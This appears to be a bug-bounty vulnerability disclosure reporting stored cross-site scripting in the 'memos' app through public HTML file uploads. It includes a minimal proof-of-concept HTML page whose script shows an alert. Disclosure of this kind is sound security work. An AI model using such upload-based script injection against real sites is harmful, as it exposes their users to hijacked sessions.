Cross-site scripting

2022-11-2316:51:57

lujiefsi

www.huntr.dev

memos

file upload

vulnerability

cross-site scripting

attack

bugbounty

0.001 Low

EPSS

Percentile

20.3%

JSON

Description

memos allow users to upload file and make it public to others. But if the file is html with below content, xss attack can happen.

Proof of Concept

// PoC.js
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta charset="utf-8"&gt;
&lt;script&gt;
	alert("warning");
&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;


&lt;/body&gt;
&lt;/html&gt;

References

1drv.ms/v/s!AksJ421iyCG-mSHdr2u6hDJ-V-WP?e=fO4Smh

0.001 Low

EPSS

Percentile

20.3%

JSON

Related for 5B3115C5-776C-43D3-A7BE-C8DC13AB81CE